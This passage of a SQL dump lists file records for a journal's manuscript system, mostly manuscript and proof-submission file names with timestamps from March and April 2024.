14:53:39',1,3,0),(40257,14649,'14649-vkrs-Manuscript-proof-submission-2024-03-29.pdf',NULL,'2024-03-29 14:53:40',1,3,0),(40258,14648,'14648-g1wq-Manuscript-proof-submission-2024-03-29.docx',NULL,'2024-03-29 14:54:23',1,3,0),(40259,14648,'14648-3hgu-Manuscript-proof-submission-2024-03-29.pdf',NULL,'2024-03-29 14:54:23',1,3,0),(40260,14648,'14648-1jfd-Manuscript-proof-submission-2024-03-29.docx',NULL,'2024-03-29 14:54:25',1,3,0),(40261,14648,'14648-g37y-Manuscript-proof-submission-2024-03-29.pdf',NULL,'2024-03-29 14:54:25',1,3,0),(40262,14647,'14647-t2g7-Manuscript-proof-submission-2024-03-29.docx',NULL,'2024-03-29 14:55:50',1,3,0),(40263,14647,'14647-p46h-Manuscript-proof-submission-2024-03-29.pdf',NULL,'2024-03-29 14:55:50',1,3,0),(40264,14646,'14646-srp9-Manuscript-proof-submission-2024-03-29.docx',NULL,'2024-03-29 14:57:01',1,3,0),(40265,14646,'14646-gb5u-Manuscript-proof-submission-2024-03-29.pdf',NULL,'2024-03-29 14:57:01',1,3,0),(40266,14645,'14645-w9st-Manuscript-proof-submission-2024-03-29.docx',NULL,'2024-03-29 14:57:43',1,3,0),(40267,14645,'14645-97oc-Manuscript-proof-submission-2024-03-29.pdf',NULL,'2024-03-29 14:57:43',1,3,0),(40268,14684,'14684-Manuscript-2024-03-30-afdx-move-pdf-making.pdf',NULL,'2024-03-30 10:54:45',1,3,0),(40269,14710,'14710-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 10:06:07',1,1,0),(40270,14711,'14711-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 13:43:10',1,1,0),(40271,14712,'14712-0-Manuscript-2024-04-01.doc',NULL,'2024-04-01 15:45:52',1,1,0),(40272,14713,'14713-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 16:53:06',1,1,0),(40273,14714,'14714-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 16:57:42',1,1,0),(40274,14715,'14715-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:01:57',1,1,0),(40275,14716,'14716-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:05:05',1,1,0),(40276,14717,'14717-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:08:57',1,1,0),(40277,14718,'14718-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:13:00',1,1,0),(40278,14719,'14719-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:16:55',1,1,0),(40279,14720,'14720-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:19:53',1,1,0),(40280,14721,'14721-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:24:28',1,1,0),(40281,14722,'14722-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 17:28:54',1,1,0),(40282,14723,'14723-0-Manuscript-2024-04-01.docx',NULL,'2024-04-01 21:21:16',1,1,0),(40283,14724,'14724-0-Manuscript-2024-04-02.docx',NULL,'2024-04-02 10:48:46',1,1,0),(40284,14684,'14684-Manuscript-2024-04-02-s8cn-move-pdf-making.pdf',NULL,'2024-04-02 15:26:12',1,3,0),(40285,14725,'14725-0-Manuscript-2024-04-02.docx',NULL,'2024-04-02 17:07:36',1,1,0),(40286,14726,'14726-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 10:44:17',1,1,0),(40287,14727,'14727-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 10:49:22',1,1,0),(40288,14728,'14728-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 10:58:38',1,1,0),(40289,14729,'14729-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 11:00:55',1,1,0),(40290,14730,'14730-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 11:03:08',1,1,0),(40291,14731,'14731-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 11:04:50',1,1,0),(40292,14732,'14732-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 11:16:38',1,1,0),(40293,14733,'14733-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 11:18:07',1,1,0),(40294,14734,'14734-0-Manuscript-2024-04-03.docx',NULL,'2024-04-03 14:13:53',1,1,0),(40295,14733,'14733-2ypr-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:01:06',1,3,0),(40296,14732,'14732-p7t0-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:01:28',1,3,0),(40297,14731,'14731-0k76-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:01:42',1,3,0),(40298,14730,'14730-u8jd-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:01:56',1,3,0),(40299,14729,'14729-mu6b-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:02:12',1,3,0),(40300,14728,'14728-q3oz-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:02:55',1,3,0),(40301,14727,'14727-5ndc-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:04:11',1,3,0),(40302,14726,'14726-10sc-Manuscript-proof-submission-2024-04-03.rar',NULL,'2024-04-03 17:05:44',1,3,0),(40303,14726,'14726-Manuscript-2024-04-04-j0yx-iphsj-24-14726.rar',NULL,'2024-04-04 14:24:32',1,3,0),(40304,14727,'14727-Manuscript-2024-04-04-ax8h-iphsj-24-14727.rar',NULL,'2024-04-04 14:25:09',1,3,0),(40305,14728,'14728-Manuscript-2024-04-04-d5ze-iphsj-24-14728.rar',NULL,'2024-04-04 14:25:47',1,3,0),(40306,14729,'14729-Manuscript-2024-04-04-dwfe-iphsj-24-14729.rar',NULL,'2024-04-04 14:26:21',1,3,0),(40307,14730,'14730-Manuscript-2024-04-04-ap2r-iphsj-24-14730.rar',NULL,'2024-04-04 14:27:06',1,3,0),(40308,14731,'14731-Manuscript-2024-04-04-5ytu-iphsj-24-14731.rar',NULL,'2024-04-04 14:27:42',1,3,0),(40309,14732,'14732-Manuscript-2024-04-04-u7d1-iphsj-24-14732.rar',NULL,'2024-04-04 14:28:19',1,3,0),(40310,14733,'14733-Manuscript-2024-04-04-1u3x-iphsj-24-14733.rar',NULL,'2024-04-04 14:28:42',1,3,0),(40311,14733,'14733-Manuscript-2024-04-04-k2bt-graphic-completed.pdf',NULL,'2024-04-04 17:23:02',1,3,0),(40312,14732,'14732-Manuscript-2024-04-04-cqdf-graphic-completed.pdf',NULL,'2024-04-04 17:25:15',1,3,0),(40313,14731,'14731-Manuscript-2024-04-04-coi5-graphic-completed.pdf',NULL,'2024-04-04 17:27:14',1,3,0),(40314,14730,'14730-Manuscript-2024-04-04-fzs0-graphic-completed.pdf',NULL,'2024-04-04 17:28:41',1,3,0),(40315,14730,'14730-Manuscript-2024-04-04-o98j-graphic-completed.pdf',NULL,'2024-04-04 17:29:03',1,3,0),(40316,14728,'14728-Manuscript-2024-04-04-xtah-graphic-completed.pdf',NULL,'2024-04-04 17:29:50',1,3,0),(40317,14729,'14729-Manuscript-2024-04-04-rt5u-graphic-completed.pdf',NULL,'2024-04-04 17:30:35',1,3,0),(40318,14727,'14727-Manuscript-2024-04-04-wdf6-graphic-completed.pdf',NULL,'2024-04-04 17:31:17',1,3,0),(40319,14726,'14726-Manuscript-2024-04-04-62vq-graphic-completed.pdf',NULL,'2024-04-04 17:32:20',1,3,0),(40321,14696,'14696-nso9-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:32:36',1,3,0),(40322,14696,'14696-37uo-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:32:36',1,3,0),(40323,14697,'14697-kwad-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:37:16',1,3,0),(40324,14697,'14697-fq56-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:37:16',1,3,0),(40325,14698,'14698-vlxm-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:37:59',1,3,0),(40326,14698,'14698-jvst-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:37:59',1,3,0),(40327,14699,'14699-4jkf-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:39:10',1,3,0),(40328,14699,'14699-6mhk-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:39:10',1,3,0),(40329,14700,'14700-6ts0-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:40:22',1,3,0),(40330,14700,'14700-93nv-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:40:22',1,3,0),(40331,14700,'14700-6rn3-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:40:31',1,3,0),(40332,14700,'14700-7d9f-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:40:31',1,3,0),(40333,14701,'14701-i27j-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:41:24',1,3,0),(40334,14701,'14701-9ge8-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:41:24',1,3,0),(40335,14702,'14702-wqgh-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:42:12',1,3,0),(40336,14702,'14702-yj5f-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:42:12',1,3,0),(40337,14703,'14703-j8mv-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:42:59',1,3,0),(40338,14703,'14703-dbq8-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:42:59',1,3,0),(40339,14704,'14704-7q9u-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:43:47',1,3,0),(40340,14704,'14704-zr48-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:43:47',1,3,0),(40341,14705,'14705-bvks-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 09:44:39',1,3,0),(40342,14705,'14705-940k-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 09:44:39',1,3,0),(40343,14725,'14725-xv5s-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 11:44:10',1,3,0),(40344,14725,'14725-diut-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 11:44:10',1,3,0),(40345,14440,'14440-e8in-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 13:53:55',1,3,0),(40346,14440,'14440-kh3f-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 13:53:55',1,3,0),(40347,14673,'14673-xjv8-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 13:54:00',1,3,0),(40348,14673,'14673-xody-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 13:54:00',1,3,0),(40349,14674,'14674-0gl2-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 13:54:56',1,3,0),(40350,14674,'14674-d6go-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 13:54:56',1,3,0),(40351,14675,'14675-kysu-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 13:57:00',1,3,0),(40352,14675,'14675-bonc-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 13:57:00',1,3,0),(40353,14676,'14676-v5sy-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 13:58:19',1,3,0),(40354,14676,'14676-erf7-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 13:58:19',1,3,0),(40355,14441,'14441-kdaq-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:00:05',1,3,0),(40356,14441,'14441-qufy-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:00:05',1,3,0),(40357,14677,'14677-mgtb-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:00:14',1,3,0),(40358,14677,'14677-2gel-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:00:14',1,3,0),(40359,14678,'14678-71pl-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:02:46',1,3,0),(40360,14678,'14678-72os-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:02:46',1,3,0),(40361,14679,'14679-tiqp-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:04:04',1,3,0),(40362,14679,'14679-84ic-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:04:04',1,3,0),(40363,14444,'14444-ys4l-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:04:57',1,3,0),(40364,14444,'14444-0cqm-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:04:57',1,3,0),(40365,14680,'14680-kg3q-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:05:36',1,3,0),(40366,14680,'14680-mar4-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:05:36',1,3,0),(40367,14681,'14681-ji7q-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:06:15',1,3,0),(40368,14681,'14681-iyk1-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:06:15',1,3,0),(40369,14595,'14595-ht1k-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:07:11',1,3,0),(40370,14595,'14595-obv5-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:07:11',1,3,0),(40371,14682,'14682-4nga-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:07:20',1,3,0),(40372,14682,'14682-6l3t-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:07:20',1,3,0),(40373,14597,'14597-lrw1-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:09:21',1,3,0),(40374,14597,'14597-kem3-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:09:21',1,3,0),(40375,14599,'14599-t780-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:11:58',1,3,0),(40376,14599,'14599-zmlc-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:11:58',1,3,0),(40377,14600,'14600-szuh-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:21:23',1,3,0),(40378,14600,'14600-fsgn-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:21:23',1,3,0),(40379,14616,'14616-twu7-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:23:42',1,3,0),(40380,14616,'14616-mf0i-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:23:42',1,3,0),(40381,14618,'14618-ghsn-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:27:19',1,3,0),(40382,14618,'14618-2pgf-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:27:19',1,3,0),(40383,14621,'14621-jqdc-Manuscript-proof-submission-2024-04-10.pdf',NULL,'2024-04-10 14:29:21',1,3,0),(40384,14621,'14621-kazb-Manuscript-proof-submission-2024-04-10.docx',NULL,'2024-04-10 14:29:21',1,3,0),(40385,14736,'14736-0-Manuscript-2024-04-10.docx',NULL,'2024-04-10 16:52:14',1,1,0),(40386,14711,'14711-760g-Manuscript-proof-submission-2024-04-11.rar',NULL,'2024-04-11 10:36:56',1,3,0),(40387,14711,'14711-Manuscript-2024-04-11-6oca-iphsj-24-14711.rar',NULL,'2024-04-11 14:59:42',1,3,0),(40388,14737,'14737-0-Manuscript-2024-04-11.docx',NULL,'2024-04-11 16:46:00',1,1,0),(40389,14738,'14738-0-Manuscript-2024-04-12.docx',NULL,'2024-04-12 10:01:17',1,1,0),(40391,14740,'14740-0-Manuscript-2024-04-12.docx',NULL,'2024-04-12 13:19:30',1,1,0),(40392,14741,'14741-0-Manuscript-2024-04-12.docx',NULL,'2024-04-12 19:11:07',1,1,0),(40393,14741,'14741-1-Manuscript-2024-04-12.doc',NULL,'2024-04-12 19:11:07',1,1,0),(40395,14722,'14722-zydf-Manuscript-proof-submission-2024-04-15.docx',NULL,'2024-04-15 09:55:25',1,3,0),(40396,14722,'14722-vobh-Manuscript-proof-submission-2024-04-15.pdf',NULL,'2024-04-15 09:55:25',1,3,0),(40397,14721,'14721-3ul4-Manuscript-proof-submission-2024-04-15.docx',NULL,'2024-04-15 10:17:51',1,3,0),(40398,14721,'14721-yfw6-Manuscript-proof-submission-2024-04-15.pdf',NULL,'2024-04-15 10:17:51',1,3,0),(40399,14720,'14720-qz61-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:00:31',1,3,0),(40400,14720,'14720-q9ix-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:00:31',1,3,0),(40401,14720,'14720-840p-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:00:36',1,3,0),(40402,14720,'14720-6xw8-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:00:36',1,3,0),(40403,14720,'14720-o07f-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:00:44',1,3,0),(40404,14720,'14720-4x5v-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:00:44',1,3,0),(40405,14720,'14720-xsr7-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:00:46',1,3,0),(40406,14720,'14720-c28i-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:00:47',1,3,0),(40407,14720,'14720-9os2-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:00:57',1,3,0),(40408,14720,'14720-jn2u-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:00:57',1,3,0),(40409,14719,'14719-kc5m-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:01:50',1,3,0),(40410,14719,'14719-a2zu-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:01:50',1,3,0),(40411,14719,'14719-dkqa-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:02:01',1,3,0),(40412,14719,'14719-2gje-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:02:01',1,3,0),(40413,14718,'14718-1n5g-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:02:58',1,3,0),(40414,14718,'14718-dsr9-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:02:58',1,3,0),(40415,14718,'14718-opze-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:02',1,3,0),(40416,14718,'14718-a0ih-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:02',1,3,0),(40417,14718,'14718-1a6x-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:05',1,3,0),(40418,14718,'14718-yr2s-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:05',1,3,0),(40419,14718,'14718-jcne-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:09',1,3,0),(40420,14718,'14718-iklt-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:09',1,3,0),(40421,14718,'14718-8af6-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:21',1,3,0),(40422,14718,'14718-cszd-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:21',1,3,0),(40423,14718,'14718-n5b7-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:24',1,3,0),(40424,14718,'14718-1g6z-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:24',1,3,0),(40425,14718,'14718-ysid-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:27',1,3,0),(40426,14718,'14718-b3e9-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:27',1,3,0),(40427,14718,'14718-3pe8-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:32',1,3,0),(40428,14718,'14718-f3jk-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:33',1,3,0),(40429,14718,'14718-1wbg-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:37',1,3,0),(40430,14718,'14718-r68w-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:37',1,3,0),(40431,14718,'14718-zeik-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:03:40',1,3,0),(40432,14718,'14718-t8hi-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:03:40',1,3,0),(40433,14717,'14717-trq4-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:05:44',1,3,0),(40434,14717,'14717-qgdk-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:05:44',1,3,0),(40435,14717,'14717-89wq-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:05:51',1,3,0),(40436,14717,'14717-az5y-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:05:51',1,3,0),(40437,14716,'14716-j7nf-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:06:48',1,3,0),(40438,14716,'14716-ad7v-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:06:48',1,3,0),(40439,14716,'14716-dby9-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:06:51',1,3,0),(40440,14716,'14716-xusn-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:06:51',1,3,0),(40441,14715,'14715-t2fl-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:07:43',1,3,0),(40442,14715,'14715-q6z3-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:07:43',1,3,0),(40443,14715,'14715-chi8-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:07:46',1,3,0),(40444,14715,'14715-pgsb-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:07:46',1,3,0),(40445,14714,'14714-cuxi-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:08:59',1,3,0),(40446,14714,'14714-qup8-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:08:59',1,3,0),(40447,14714,'14714-z150-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:09:05',1,3,0),(40448,14714,'14714-mylt-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:09:05',1,3,0),(40449,14714,'14714-ojgl-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:09:16',1,3,0),(40450,14714,'14714-5duw-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:09:16',1,3,0),(40451,14714,'14714-zi9k-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:09:18',1,3,0),(40452,14714,'14714-8lb2-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:09:18',1,3,0),(40453,14713,'14713-g87d-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:10:21',1,3,0),(40454,14713,'14713-i1u3-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:10:21',1,3,0),(40455,14713,'14713-g1cf-Manuscript-proof-submission-2024-04-16.docx',NULL,'2024-04-16 14:10:23',1,3,0),(40456,14713,'14713-bqgm-Manuscript-proof-submission-2024-04-16.pdf',NULL,'2024-04-16 14:10:23',1,3,0),(40457,14712,'14712-v9hk-Manuscript-proof-submission-2024-04-16.rar',NULL,'2024-04-16 15:24:10',1,3,0),(40458,14712,'14712-Manuscript-2024-04-17-wa3k-ipjnn-24-14712.rar',NULL,'2024-04-17 17:39:57',1,3,0),(40459,14659,'14659-7t3o-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:31:09',1,3,0),(40460,14659,'14659-a073-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:31:09',1,3,0),(40461,14659,'14659-o8n9-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:31:14',1,3,0),(40462,14659,'14659-zl1v-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:31:14',1,3,0),(40463,14659,'14659-2mkg-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:31:18',1,3,0),(40464,14659,'14659-6ol0-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:31:18',1,3,0),(40465,14660,'14660-pz32-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:32:30',1,3,0),(40466,14660,'14660-f4qb-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:32:30',1,3,0),(40467,14661,'14661-7jf4-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:33:32',1,3,0),(40468,14661,'14661-cmu2-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:33:32',1,3,0),(40469,14662,'14662-h5i0-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:34:29',1,3,0),(40470,14662,'14662-smz8-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:34:29',1,3,0),(40471,14663,'14663-cj54-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:44:00',1,3,0),(40472,14663,'14663-exfn-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:44:00',1,3,0),(40473,14664,'14664-dnhb-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:45:12',1,3,0),(40474,14664,'14664-aokc-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:45:12',1,3,0),(40475,14665,'14665-ehzp-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:46:23',1,3,0),(40476,14665,'14665-0woj-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:46:23',1,3,0),(40477,14666,'14666-qjlv-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:47:26',1,3,0),(40478,14666,'14666-1z3p-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:47:26',1,3,0),(40479,14667,'14667-buha-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:48:43',1,3,0),(40480,14667,'14667-t23w-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:48:43',1,3,0),(40481,14668,'14668-kna3-Manuscript-proof-submission-2024-04-18.docx',NULL,'2024-04-18 11:49:37',1,3,0),(40482,14668,'14668-o497-Manuscript-proof-submission-2024-04-18.pdf',NULL,'2024-04-18 11:49:37',1,3,0),(40483,14743,'14743-0-Manuscript-2024-04-18.docx',NULL,'2024-04-18 14:10:13',1,1,0),(40484,14744,'14744-0-Manuscript-2024-04-19.docx',NULL,'2024-04-19 10:49:54',1,1,0),(40485,14736,'14736-9g3o-Manuscript-proof-submission-2024-04-19.rar',NULL,'2024-04-19 11:33:49',1,3,0),(40486,14745,'14745-0-Manuscript-2024-04-19.pdf',NULL,'2024-04-19 15:28:04',1,1,0),(40487,14736,'14736-Manuscript-2024-04-19-tb9x-iphsj-24-14736.rar',NULL,'2024-04-19 15:38:51',1,3,0),(40488,14736,'14736-Manuscript-2024-04-19-t8yj-graphic-completed.pdf',NULL,'2024-04-19 17:12:47',1,3,0),(40489,14746,'14746-0-Manuscript-2024-04-21.docx',NULL,'2024-04-21 21:23:45',1,1,0),(40490,14712,'14712-Manuscript-2024-04-22-5jny.pdf',NULL,'2024-04-22 17:45:22',1,3,0),(40491,14712,'14712-Manuscript-2024-04-23-penq.pdf',NULL,'2024-04-23 09:46:22',1,3,0),(40492,14747,'14747-0-Manuscript-2024-04-23.docx',NULL,'2024-04-23 10:14:16',1,1,0),(40493,14748,'14748-0-Manuscript-2024-04-23.docx',NULL,'2024-04-23 10:16:46',1,1,0),(40494,14522,'14522-in1b-Manuscript-proof-submission-2024-04-25.docx',NULL,'2024-04-25 11:56:58',1,3,0),(40495,14522,'14522-qb14-Manuscript-proof-submission-2024-04-25.indd',NULL,'2024-04-25 11:56:58',1,3,0),(40496,14522,'14522-f8tv-Manuscript-proof-submission-2024-04-25.pdf',NULL,'2024-04-25 11:56:58',1,3,0),(40497,14740,'14740-w7xo-Manuscript-proof-submission-2024-04-26.docx',NULL,'2024-04-26 05:01:25',1,3,0),(40498,14740,'14740-wfxt-Manuscript-proof-submission-2024-04-26.pdf',NULL,'2024-04-26 05:01:25',1,3,0),(40499,14740,'14740-purx-Manuscript-proof-submission-2024-04-26.docx',NULL,'2024-04-26 05:01:27',1,3,0),(40500,14740,'14740-ymir-Manuscript-proof-submission-2024-04-26.pdf',NULL,'2024-04-26 05:01:27',1,3,0),(40501,14740,'14740-use7-Manuscript-proof-submission-2024-04-26.docx',NULL,'2024-04-26 05:01:28',1,3,0),(40502,14740,'14740-fybp-Manuscript-proof-submission-2024-04-26.pdf',NULL,'2024-04-26 05:01:28',1,3,0),(40503,14740,'14740-7cx4-Manuscript-proof-submission-2024-04-26.docx',NULL,'2024-04-26 05:01:29',1,3,0),(40504,14740,'14740-pw1y-Manuscript-proof-submission-2024-04-26.pdf',NULL,'2024-04-26 05:01:29',1,3,0),(40508,14750,'14749-0-Manuscript-2024-04-27.pdf','','2024-04-27 00:00:00',1,1,0),(40509,14750,'14749-1-Manuscript-2024-04-27.pdf','','2024-04-27 